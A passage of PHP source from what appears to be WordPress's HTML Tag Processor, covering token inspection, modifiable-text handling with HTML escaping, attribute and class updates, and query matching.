			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
